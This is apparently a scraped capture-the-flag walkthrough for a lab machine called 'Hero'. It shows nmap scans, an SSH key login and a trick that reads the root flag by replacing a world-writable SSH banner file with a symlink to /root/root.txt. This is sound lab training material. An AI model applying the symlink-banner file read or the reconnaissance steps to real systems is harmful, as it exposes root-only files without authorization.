┌──(root㉿kali)-[~] └─# nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 02:55 EST Nmap scan report for192.168.56.1 Host is up (0.00036s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for192.168.56.2 Host is up (0.00038s latency). MAC Address: 08:00:27:9B:DC:81 (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.18 Host is up (0.00030s latency). MAC Address: 08:00:27:04:19:79 (Oracle VirtualBox virtual NIC)
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~] └─# nmap -sT -min-rate 10000 -p- 192.168.56.18 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 02:55 EST Nmap scan report for192.168.56.18 Host is up (0.0012s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http 5678/tcp open rrac MAC Address: 08:00:27:04:19:79 (Oracle VirtualBox virtual NIC)
┌──(root㉿kali)-[~] └─# nmap -sT -A -T4 -p 80,5678 192.168.56.18 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 02:56 EST Nmap scan report for192.168.56.18 Host is up (0.00056s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx |_http-title: Site doesn't have a title (text/html). 5678/tcp open rrac? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Accept-Ranges: bytes | Cache-Control: public, max-age=86400 | Last-Modified: Fri, 07 Feb 2025 07:53:54 GMT ... MAC Address: 08:00:27:04:19:79 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.56 ms 192.168.56.18
┌──(root㉿kali)-[~/Desktop/test/Hero] └─# ssh shawa@192.168.56.18 -p 2222 -i id_rsa The authenticity of host '[192.168.56.18]:2222 ([192.168.56.18]:2222)' can't be established. ED25519 key fingerprint is SHA256:EBZrmf2l6+BtffXHAEtSx6Suq5Wf09yzZlVqbQaGOVM. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[192.168.56.18]:2222' (ED25519) to the list of known hosts. shawa was here. Welcome to Alpine! The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems. See <https://wiki.alpinelinux.org/>. You can setup the system with the command: setup-alpine You may change this message by editing /etc/motd. hero:~$
hero:/opt$ ls -al total 16 drw-rw-rwx 3 root root 4096 Feb 610:14 . drwxr-xr-x 21 root root 4096 Feb 610:03 .. -rw-rw-rw- 1 root root 16 Feb 610:09 banner.txt drwx--x--x 4 root root 4096 Feb 610:14 containerd
RootFlag
不用提权了，可以直接通过banner来读取root.txt文件
删除banner.txt
1
hero:/opt$ rm banner.txt
通过符号链接把root.txt连接到/opt/banner.txt
1
hero:/opt$ ln -s /root/root.txt /opt/banner.txt
最后通过SSH登录Root用户，显示banner
1 2 3 4 5 6 7 8
hero:/opt$ ssh root@172.17.0.1 The authenticity of host '172.17.0.1 (172.17.0.1)' can't be established. ED25519 key fingerprint is SHA256:EBZrmf2l6+BtffXHAEtSx6Suq5Wf09yzZlVqbQaGOVM. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '172.17.0.1' (ED25519) to the list of known hosts. HMVNOTINPRODLOL root@172.17.0.1's password:
